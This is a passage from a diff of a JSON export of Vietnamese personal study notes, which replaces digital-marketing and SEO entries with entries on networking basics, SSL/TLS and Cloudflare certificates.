Addresses, a short animation. - YouTube](https://www.youtube.com/watch?v=szwqC6iI_sE&feature=youtu.be)\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "at" + "id": "ec" }, { - "Tiêu đề": "Để biết được bài đăng của mình tiếp cận được bao nhiêu người, vào Business Suite", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/Để biết được bài đăng của mình tiếp cận được bao nhiêu người, vào Business Suite", + "Tiêu đề": "Subnet mask là độ lớn của host network", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/Subnet mask là độ lớn của host network", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Log in and access Meta Business Suite and Business Manager](https://business.facebook.com/latest/posts/published_posts/)", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "au" + "id": "ed" }, { - "Tiêu đề": "❓Vai trò của các chỉ số trên Facebook trong phân tích web", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Facebook/❓Vai trò của các chỉ số trên Facebook trong phân tích web", + "Tiêu đề": "Switch là cái bưu điện. Mọi thư từ đều được gửi đến đó chứ không gửi đến địa chỉ người nhận", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/Switch là cái bưu điện. Mọi thư từ đều được gửi đến đó chứ không gửi đến địa chỉ người nhận", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu nhiệm vụ của mình là dẫn người đọc tìm hiểu kỹ hơn web của mình, thì chỉ số react, reach, impression và engagement trên Facebook có còn quan trọng nữa không, hay chỉ cần xem báo cáo trên Google Analytics là đủ? Những chỉ số đó lúc này còn tác dụng gì nữa không?\r\n", + "Toàn bộ nội dung": "Nguồn:: ![Computer Networking (Deepdive) - YouTube](https://youtu.be/6G14NrjekLQ?si=AjtXaTmaV0pMQFIu)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-26T07:59:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "av" + "id": "ee" }, { - "Tiêu đề": "Kinh nghiệm", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Kinh nghiệm", + "Tiêu đề": "CA là nhà cung cấp chứng chỉ số cho TLS", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/CA là nhà cung cấp chứng chỉ số cho TLS", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## [CASE STUDY] 3 NĂM LÀM NHÂN SỰ INHOUSE - SEO 01 WEBSITE DUY NHẤT - MÌNH ĐÃ LÀM GÌ?\n\nĐây là dự án SEO đầu tay đem mình từ vị trí intern lên lead SEO, cũng là dự án mang lại nhiều trải nghiệm và kinh nghiệm với mình nhất cho tới hiện tại.\n\nTới nay công việc của mình hầu như không còn thời gian cho mảng SEO nữa. Tuy nhiên mình vẫn tham gia event với mong muốn note lại cho bản thân cũng như chia sẻ cho anh chị em sau thời gian dài tàu ngầm trong group. Bắt đầu thôi!\n\n### I. MÔ TẢ DỰ ÁN\n\n- Dự án về thời trang, web nhỏ với độ nhận diện và doanh số chưa cao.\n- Riêng mảng SEO chưa có nhân sự chính tiếp nhận, do đó quy trình SEO chưa bài bản. Phần content blog rời rạc, nội dung chưa có hệ thống và mục tiêu rõ ràng. Không nghiên cứu từ khóa khi lên content. Các phần Technical, Onpage, Offpage đều không được tối ưu.\n\n### II. THỰC TRẠNG\n\nMình bắt đầu tiếp nhận mảng SEO sau 2 tháng Intern đồng thời là thử việc, song song làm content social + kiêm mảng SEO.\n\nSố lượng bài mới ban đầu của web là 30 bài/tháng. Nội dung lộn xộn và không được kiểm duyệt kỹ do không có nhân sự chuyên trách.\n\nThuận lợi\n\n- Website có sự support và nguồn traffic khá mạnh từ các kênh social.\n- Đội dev inhouse hỗ trợ nhiệt tình nên những vấn đề về technical hầu hết đều giải quyết khá nhanh chóng.\n- Chi phí mảng SEO không bị giới hạn chặt do công ty xác định đầu tư kênh traffic từ SEO một cách lâu dài và hiệu quả từ đầu.\n\nKhó khăn\n\n- Với mình đây là một mảng mới hoàn toàn và cũng chưa được tiếp xúc về mặt kiến thức trước đó. Đồng thời giai đoạn đầu khi tiếp nhận công việc, mình cũng không có mentor hay người training. Do vậy thời gian đầu chủ yếu là tự làm và tự học nên đi khá chậm.\n\n### III. MỤC TIÊU\n\n- Tăng thứ hạng các từ khóa mục tiêu\n- Tăng lưu lượng truy cập website từ nguồn organic search\n- Tăng độ phủ thương hiệu và uy tín của website.\n- Tăng doanh số từ nguồn organic search một cách bền vững\n\n### IV. THỰC THI\n\n### 1. Giai đoạn 1 (9 tháng đầu tiên)\n\nMình chủ yếu lên kw + kiểm duyệt bài CTV content do vẫn kiêm nhiệm task khác. Phần này mình hầu như xây nền nội dung, bắt đầu manh nha tối ưu onpage 1 vài yếu tố về title, heading, từ khóa, ảnh tuy nhiên chỉ dưới góc độ là checklist bài viết khi làm việc với CTV content.\n\nSau 1 năm đảm nhiệm phần SEO, mình tăng số lượng bài viết lên 100 bài/tháng. Website tăng trưởng Traffic đáng kể. Tuy nhiên phần tăng traffic do số lượng bài lên mới chứ chưa được tối ưu.\n\nThời gian này thu hoạch lớn nhất của mình là đào tạo được 1 đội ngũ CTV content chất lượng và đồng hành lâu dài giúp mình rất nhàn với khâu kiểm duyệt nội dung.\n\n### 2. Giai đoạn 2 (3 tháng tiếp theo)\n\nGiai đoạn này mình vẫn kiêm nhiệm multitask và có thêm 1 nhân sự hỗ trợ. Team vẫn tập trung xây nội dung blog kéo traffic. Đồng thời bắt đầu đi internal link có bài bản hơn.\n\nCác công việc team làm trong phần này khá cơ bản bao gồm:\n\n- Nghiên cứu từ khóa\n- Lên bài viết mới\n- Tối ưu thẻ SEO cho category\n- Lên list nội dung phù hợp book lịch share social\n- Đi internal link bài viết\n\n### 3. Giai đoạn 3 (2 năm thực sự chiến đấu với SEO)\n\nSau 1 năm mutil task, mình tập trung chuyên môn hóa vào SEO và có thêm 1 team nhân sự chuyên môn, đồng thời team có thêm mentor. Giai đoạn này Team đã triển khai như sau:\n\nĐịnh hướng SEO theo 2 phase chính:\n\nPhase 1: Gom traffic\n\nPhủ nội dung liên quan đến ngành hàng và sản phẩm đang kinh doanh cũng như có định hướng kinh doanh theo kế hoạch dài hạn của BOD (80%)\n\nPhủ nội dung liên quan đến khách hàng mục tiêu quan tâm và liên kết chéo được tới ngành hàng kinh doanh (20%)\n\n⇒ Tập trung nghiên cứu từ khóa hệ blog để tăng traffic nhanh chóng và hiệu quả nhất trong 6 tháng để sang phase tiếp theo.\n\nTeam khá chật vật trong 1 tháng đầu tiên do scale đội CTV số lượng lớn và để nội dung bài viết đạt yêu cầu đồng đều.\n\nPhase 2: Tối ưu và tạo chuyển đổi\n\nTrong giai đoạn này, team vẫn duy trì lượng bài lên mới + audit đều đặn.\n\nTừ nguồn traffic đã xây, team tiếp cận tối ưu và tạo chuyển đổi từ traffic organic theo 2 hướng:\n\n- Tối ưu doanh thu hệ cate bằng cách tăng ranking Category\n- Tăng hiển thị sản phẩm tại trang blog\n\nCác công việc team mình triển khai:\n\n1. Technical\n\n- Các phần technical setup 1 lần: Làm việc với team dev để set up tất cả các phần technical giúp website index nhanh nhất có thể bao gồm: API lập chỉ mục, tạo file Index Now, gửi lại file Robot chuẩn, cấu trúc lại sitemaps tự động, xác định và gắn các loại schema chuẩn cho từng loại trang.\n- Tốc độ tải trang: Website có chỉ số hiệu suất khá yếu do web code tay và phát triển dần dần, Do đó bị nặng về tính năng nên rất khó cải thiện. Phần này mình chủ yếu làm việc với dev để chỉnh tốc độ tải trang từ việc xử lý lưu trữ hình ảnh, giảm dung lượng ảnh qua 2 bước giảm tay + tự động khi tải lên web.\n- Xây dựng rule auto với ALT, URL, tên ảnh tự động khi tải lên web do lượng sản phẩm listing lớn để vẫn đảm bảo tối ưu của SEO và mặt vận hành.\n\n2. Nghiên cứu từ khóa\n\nNghiên cứu bộ từ khóa mục tiêu cho hệ cate (từ khóa sản phẩm) và hệ blog và xác định URL tương ứng đi triển khai đúng đủ từ khóa cho link mục tiêu.\n\n- Hệ từ khóa sản phẩm: thường cố định số lượng, trừ khi công ty mở rộng hoặc thay đổi ngành hàng kinh doanh. Là bộ key mình cần theo dõi định kỳ\n- Hệ từ khóa Blog: bộ này team nghiên cứu + chia tỷ lệ kw mới và kw cần audit nội dung định kỳ vào đầu tháng.\n\n3. Content\n\n3.1. Hệ Blog\n\n- Xây dựng duy trình làm việc với CTV content bao gồm cách thức và quy trình làm việc với bài viết mới và bài audit.\n- Lên guideline chi tiết: Xác định các dạng bài/dạng nội dung của blog. Từ đó lên guideline chung của bài blog, guideline riêng cho từng dạng bài.\n\n⇒ Nội dung blog website được làm mới hàng ngày chất lượng bao gồm cả nội dung audit cho bài viết cũ và bài viết mới hoàn toàn theo 1 guồng ổn định. Do lượng CTV khá lớn nên mình cần xây quy trình chi tiết để giảm thiểu các vấn đề vướng mắc phát sinh.\n\n3.2. Hệ Cate và sản phẩm\n\n- Nghiên cứu nhu cầu khách hàng ⇒ lên guideline mô tả sản phẩm chi tiết\n- Làm việc với nhân sự listing sản phẩm để fix lại content cũ theo guideline đồng thời áp guideline cho sản phẩm mới để tăng chất lượng content.\n- Thêm nội dung vào phần inforbox của cate ⇒ giúp làm dày nội dung cho trang, tăng mật độ từ khóa của trang cate đồng thời tạo vị trí để gắn internal link với các cate khác\n\n4. Internal link\n\n- Với hệ Blog, ngoài internal link CTV tự gắn, team chủ động gắn internal link theo tầng bài cha - bài con và gắn link về cate tương ứng.\n- Xây dựng hệ internal link vững chắc giữa bài blog - sản phẩm - Trang category - Trang chính sách\n\n5. Offpage\n\n5.1. Tận dụng và lọc Backlink:\n\nNhờ có lượng backlink từ báo book định kỳ khá lớn (team branding triển khai) mà team mình cũng hạn chế được nguồn lực cho phần này.\n\n- Backlink có chủ yếu từ nguồn tự nhiên + book báo. Ngoài ra team có liên hệ trao đổi link/guest post với 1 số website có tiềm năng sau khi đánh giá và chọn lọc.\n- Review và chặn các nguồn backlink xấu, link spam bằng lệnh disavow\n\n5.2. Xây dựng hệ thống Social Share link, Blog 2.0\n\nXây profile trên list social đã lọc. Chọn ra những trang có thể đăng bài ⇒ Lên kế hoạch up nội dung định kỳ để tạo nguồn backlink social ổn định cho website\n\n5.3. Google Business\n\nReview Google Bussiness, bổ sung và xác minh đủ thông tin\n\n5.4. DMCA, tuyển dụng, trang vàng, Maps,…\n\nĐăng ký DMCA, Tín nhiệm mạng, xác minh Maps để tăng độ trust cho website\n\n6. Tối ưu UI/UX\n\n- Xây template UI/UX cho hệ trang blog, trang chuyên mục, trang bài viết chi tiết đáp ứng tiêu chí dễ đọc, dễ nhìn và thuận lợi cho người dùng\n- Bổ sung các tính năng cần cho tối ưu chuyển đổi như gắn banner, shortcode sản phẩm,…\n\n7. Audit\n\n- Audit nội dung bài viết có thứ hạng thấp/tụt hạng, các bài được phân loại thin & duplicate content\n- Audit các lỗi: Ảnh, heading, thẻ meta title, description trùng lặp, lỗi link 404, link sản phẩm hết hàng,…\n- Lỗi web về backend, tính năng mới ảnh hưởng đến SEO\n\n8. Đo lường và đánh giá\n\nXây dựng dashboard đo lường về traffic, thứ hạng keyword, bài viết để theo dõi và đánh giá trực quan định kỳ hoặc ngay khi thấy bất thường.\n\n9. Tối ưu doanh thu từ nguồn traffic Organic hiệu quả\n\nCác phần triển khai SEO giúp team tăng traffic web ⇒ tăng lượng khách hàng vào web ⇒ Tăng doanh thu mà không cần tăng CR.\n\nTuy nhiên, để tăng doanh thu từ cùng lượng traffic/thứ hạng đó. Team đã triển khai theo 1 số key chính sau:\n\n- Tăng hiển thị sản phẩm bằng cách gắn shortcode sản phẩm vào bài post liên quan\n- Thúc đẩy chuyển đổi bằng cách gắn thêm banner ưu đãi riêng cho khách mới trong giao diện blog\n- Với những bài đã có thứ hạng ổn định, tăng traffic bằng cách tăng tỷ lệ click ⇒ Sửa lại toàn bộ tiêu đề thu hút hơn.\n\n### V. KẾT QUẢ ĐẠT ĐƯỢC\n\n- 15% bộ key mục tiêu vào top 1-3: Chủ yếu là key ngành hàng chính với volume lớn, cạnh tranh và mang lại doanh thu cao.\n- 40% top 4-10\n- 50% key ngoài top 10 chủ yếu là các key ngách cấp 2 thuộc link filter. Ít traffic và volume thấp.\n- Doanh thu nguồn organic search mang về ổn định\n- Traffic website tăng trưởng mạnh\n\n(Ảnh mình chụp đến thời điểm mình dừng phụ trách dự án)\n\n### VI. Một số Key Learning mình rút ra\n\n- Với người chuyên làm SEO inhouse như mình thì kết quả của SEO ngoài các chỉ số chuyên ngành như thứ hạng, traffic,…hiệu quả đóng góp về mặt doanh thu/ chuyển đổi cũng là chỉ số vô cùng quan trọng. SEO cũng cần ra số, ở đây là số đơn hoặc số lead ⇒ thứ sẽ mang về doanh thu cho doanh nghiệp\n- Dự án mình làm hầu như tập trung vào tối ưu onpage, nội dung và trải nghiệm người dùng. Do đó sau những đợt update hầu như website của mình không biến động nhiều (Trừ khi web thay đổi code/cấu trúc gây ra lỗi) ⇒ Phục vụ tốt nhất cho người dùng vẫn là hướng làm bền vững với mình\n- SEO là ngành cần kiên trì, có lặp lại cũng có sáng tạo. Tỉ mỉ và chỉn chu luôn cần thiết.\n\nCảm ơn mọi người đã đọc đến đây. Bài hơi dài và có những đoạn có thể mình chưa viết được rõ. Mọi người cứ góp ý cho mình nhé.\n\nThanks all!\nNguồn:: [NGHIỆN SEO](https://www.facebook.com/groups/nghienseo/posts/1420445008625498/)", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:16:00.000Z", - "id": "aw" + "Ngày cập nhật": "2024-09-09T13:46:00.000Z", + "id": "ef" }, { - "Tiêu đề": "Quảng cáo trên Facebook", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Quảng cáo trên Facebook", + "Tiêu đề": "Các trình duyệt bây giờ đều bắt buộc phải có SSL mới xem là an toàn, dù không có nó thì cũng chẳng có vấn đề gì", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/Các trình duyệt bây giờ đều bắt buộc phải có SSL mới xem là an toàn, dù không có nó thì cũng chẳng có vấn đề gì", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::", + "Toàn bộ nội dung": "[[SSL và TLS tạo một ống bảo vệ cho HTTP]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ax" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T04:43:00.000Z", + "id": "eg" }, { - "Tiêu đề": "Rút gọn link", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Rút gọn link", + "Tiêu đề": "Nếu GitHub Page không issue SSL được, thử xoá tên miền rồi thêm lại vào xem", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/Dịch vụ/Nếu GitHub Page không issue SSL được, thử xoá tên miền rồi thêm lại vào xem", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "ay" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T05:24:00.000Z", + "id": "eh" }, { - "Tiêu đề": "JSON-LD là một cách để tạo schema", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Schema/JSON-LD là một cách để tạo schema", + "Tiêu đề": "Nếu không dùng proxy của CloudFlare thì sẽ không dùng TLS của nó", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/Dịch vụ/Nếu không dùng proxy của CloudFlare thì sẽ không dùng TLS của nó", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![What is Linked Data? - YouTube](https://youtu.be/4x_xzT5eF5Q?si=pKxW5p19YSQkBrxS)\r\n![What is JSON-LD? - YouTube](https://youtu.be/vioCbTo3C-4?si=IIS-mzulM5qAWj3O)\r\n![JSON-LD: Compaction and Expansion - YouTube](https://youtu.be/Tm3fD89dqRE?si=p01fOi2aYxAH6x_J)\r\n\r\n### Differences between JSON-LD, Microdata, and RDFa\r\n\r\n(in the context of HTML documents)\r\n\r\n**Microdata** and **RDFa** are conceptually similar: both syntaxes define attributes that get added to your existing HTML elements.\r\n\r\n**JSON-LD** is a syntax that gets added to a `script` element ([used as data block](https://stackoverflow.com/a/30798784/1591669), not as script), separately from your existing markup.\r\n\r\nSo the primary difference between Microdata/RDFa and JSON-LD is that you have to repeat the content if using JSON-LD, while you can² mark up your existing content if using Microdata/RDFa.\r\n\r\nThese three snippets convey the same structured data (a [`Person`](http://schema.org/Person) with a [`name`](http://schema.org/name) of \"Alice\"):\r\n\r\n```xml\r\n\r\n\r\n

    \r\n Hi, I’m Alice.\r\n

    \r\n```\r\n\r\n```xml\r\n\r\n\r\n

    \r\n Hi, I’m Alice.\r\n

    \r\n```\r\n\r\n```xml\r\n\r\n\r\n

    \r\n Hi, I’m Alice.\r\n

    \r\n\r\n\r\n```\r\n\r\n### Which to use?\r\n\r\n**JSON-LD** if you want to add a blob of structured data, without having to care about existing markup. Might be easier for tools that don’t support structured data (and you use other tools to generate/add it), or when copy-pasting ready-made snippets.\r\n\r\n**Microdata/RDFa** if you want to make use of your existing markup (so you don’t have to duplicate the content → [DRY](https://en.wikipedia.org/wiki/Don't_repeat_yourself \"Don't repeat yourself\")). Might be easier if adding it by hand, or when tools already support it (like Drupal).\r\n\r\nIf deciding between Microdata and RDFa: I [recommend](https://stackoverflow.com/a/14501684/1591669) to use RDFa instead of Microdata, primarily because of the [differences outlined in this answer on Stack Overflow](https://stackoverflow.com/a/25888436/1591669).\r\n\r\nRDFa and JSON-LD are both W3C Recommendations and both are RDF serializations.\r\n\r\n\r\nDo I understand right, JSON-LD can only let you specify general info about whole page, but you can't express which exactly parts of the webpage correspond to which object in JSON-LD? Like, if you have a list of books, you can specify in JSON-LD that this page shows a list of books, but you won't be able to tell which of the books described in the JSON-LD correspond to which exactly element on the webpage? If so, Microdata/RDFa have one more important advantage: providing context to screenreaders used by blind people, but maybe I'm missing something in how JSON+LD works.\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [How does Microdata rdfa compare to JSON-LD? - Software Engineering Stack Exchange](https://softwareengineering.stackexchange.com/questions/328567/how-does-microdata-rdfa-compare-to-json-ld#comment981918_328711)\r\n\r\n[[Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google]]\r\n\r\n[Schema là gì? Cách thêm Schema Markup tăng sức mạnh website](https://vietnix.vn/schema-la-gi/)", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "az" + "Ngày cập nhật": "2024-09-09T05:25:00.000Z", + "id": "ei" }, { - "Tiêu đề": "Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Schema/Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google", + "Tiêu đề": "TLS của CloudFlare khác với TLS của host", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/Dịch vụ/TLS của CloudFlare khác với TLS của host", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[JSON-LD là một cách để tạo schema]]\r\n", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "a-" + "Ngày cập nhật": "2024-09-09T05:24:00.000Z", + "id": "ej" }, { - "Tiêu đề": "Open Graph và Schema.org là từ vựng. JSON-LD, RDFa và Microdata là ngữ pháp", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Schema/Open Graph và Schema.org là từ vựng. JSON-LD, RDFa và Microdata là ngữ pháp", + "Tiêu đề": "Universal SSL chỉ hỗ trợ tới tên miền phụ cấp 1", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/Dịch vụ/Universal SSL chỉ hỗ trợ tới tên miền phụ cấp 1", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [OpenGraph or Schema.org? (closed)](https://stackoverflow.com/a/17589792/3416774)\r\n\r\n[[Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google]] \r\n\r\n[[JSON-LD là một cách để tạo schema]]", + "Toàn bộ nội dung": "Nguồn:: [Limitations for Universal SSL](https://developers.cloudflare.com/ssl/edge-certificates/universal-ssl/limitations/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "a_" + "Ngày cập nhật": "2024-09-09T06:00:00.000Z", + "id": "ek" }, { - "Tiêu đề": "SEO", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/SEO", + "Tiêu đề": "Universal SSL là TLS mặc định của CloudFlare", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/Dịch vụ/Universal SSL là TLS mặc định của CloudFlare", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![SEO for Developers in 100 Seconds - YouTube](https://youtu.be/-B58GgsehKQ?si=b_NUJJvEDwUDlwfe)", + "Toàn bộ nội dung": "[[Universal SSL chỉ hỗ trợ tới tên miền phụ cấp 1]]\n[[Với tên miền có dấu thì VirusTotal sẽ nghĩ là có virus nên không cấp chứng chỉ]]\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b0" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T06:15:00.000Z", + "id": "el" }, { - "Tiêu đề": "Chiến dịch là sản phẩm", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Chiến dịch là sản phẩm", + "Tiêu đề": "Với tên miền có dấu thì VirusTotal sẽ nghĩ là có virus nên không cấp chứng chỉ", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/Dịch vụ/Với tên miền có dấu thì VirusTotal sẽ nghĩ là có virus nên không cấp chứng chỉ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khi trang web chỉ là những bài viết thì có thể dùng nhóm chủ đề. Nhưng tốt nhất là cố gắng tìm ra mục tiêu của mình khi viết những bài đó, biến nhóm chủ đề đó thành một dự án, đặt tên cho dự án đó, rồi dùng tên đó để làm tên chiến dịch.\r\n[[Dự án là sản phẩm]]\r\n\r\nTuy nhiên, do dựa vào tên trang ta có thể suy ra được", + "Toàn bộ nội dung": "![](https://global.discourse-cdn.com/cloudflare/original/3X/c/5/c5e82f8d707db7d3560c2de66f73fba15754af98.png)\n\nWhen I checked with [VirusTotal](https://www.virustotal.com/gui/url/70b25cdf4fafc7d16f402d688c189554d186a80dc223ec0c2aa4ca46c0015779/detection \"VirusTotal\"), only one security vendor flagged this URL as malicious. The rest flagged it clean.\n\n![](https://global.discourse-cdn.com/cloudflare/optimized/3X/9/0/90e1ad03ac44f96d318514423e602537925162d0_2_690x218.png)\n\nI suppose this is a false positive. But how should I solve this?\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b1" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T06:16:00.000Z", + "id": "em" }, { - "Tiêu đề": "Client-side tracking thiếu chính xác", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Client-side tracking thiếu chính xác", + "Tiêu đề": "SSL và TLS tạo một ống bảo vệ cho HTTP", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/SSL và TLS tạo một ống bảo vệ cho HTTP", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [analytics - What would be the reasons for not using UTM parameters? - Webmasters Stack Exchange](https://webmasters.stackexchange.com/questions/144604/what-would-be-the-reasons-for-not-using-utm-parameters/144608?noredirect=1#comment203122_144608)", + "Toàn bộ nội dung": "HTTPS = HTTP + SSL/TLS\n[[HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau]]. [[Yêu cầu HTTP chỉ là một tệp văn bản]]\nNguồn:: ![Network Protocols - ARP, FTP, SMTP, HTTP, SSL, TLS, HTTPS, DNS, DHCP - Networking Fundamentals - L6 - YouTube](https://youtu.be/E5bSumTAHZE?si=zR8d41aJSiui-BaG)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b2" + "Ngày cập nhật": "2024-09-09T04:46:00.000Z", + "id": "en" }, { - "Tiêu đề": "Có thể có tới 40% người dùng dùng adblock. Số độc giả rành công nghệ có thể lên tới 58%", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Có thể có tới 40% người dùng dùng adblock. Số độc giả rành công nghệ có thể lên tới 58%", + "Tiêu đề": "TLS là một phiên bản cải tiến của SSL, nhưng mọi người vẫn quen gọi nó là SSL", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/SSL, TLS/TLS là một phiên bản cải tiến của SSL, nhưng mọi người vẫn quen gọi nó là SSL", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [analytics - What would be the reasons for not using UTM parameters? - Webmasters Stack Exchange](https://webmasters.stackexchange.com/questions/144604/what-would-be-the-reasons-for-not-using-utm-parameters/144608?noredirect=1#comment203122_144608)\r\n\r\nNguồn:: [58% of Hacker News, Reddit and tech-savvy audiences block Google Analytics | Plausible Analytics](https://plausible.io/blog/google-analytics-adblockers-missing-data)", + "Toàn bộ nội dung": "Bây giờ khi nói đến SSL là thực ra đang nói đến TLS chứ không phải là SSL. SSL gốc đã không còn dùng nữa rồi\n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "b3" + "Ngày cập nhật": "2024-09-09T07:03:00.000Z", + "id": "eo" }, { - "Tiêu đề": "Dự án là sản phẩm", - "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Dự án là sản phẩm", + "Tiêu đề": "Apache, Nginx là những web server phổ biến", + "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Apache, Nginx là những web server phổ biến", "Kho thông 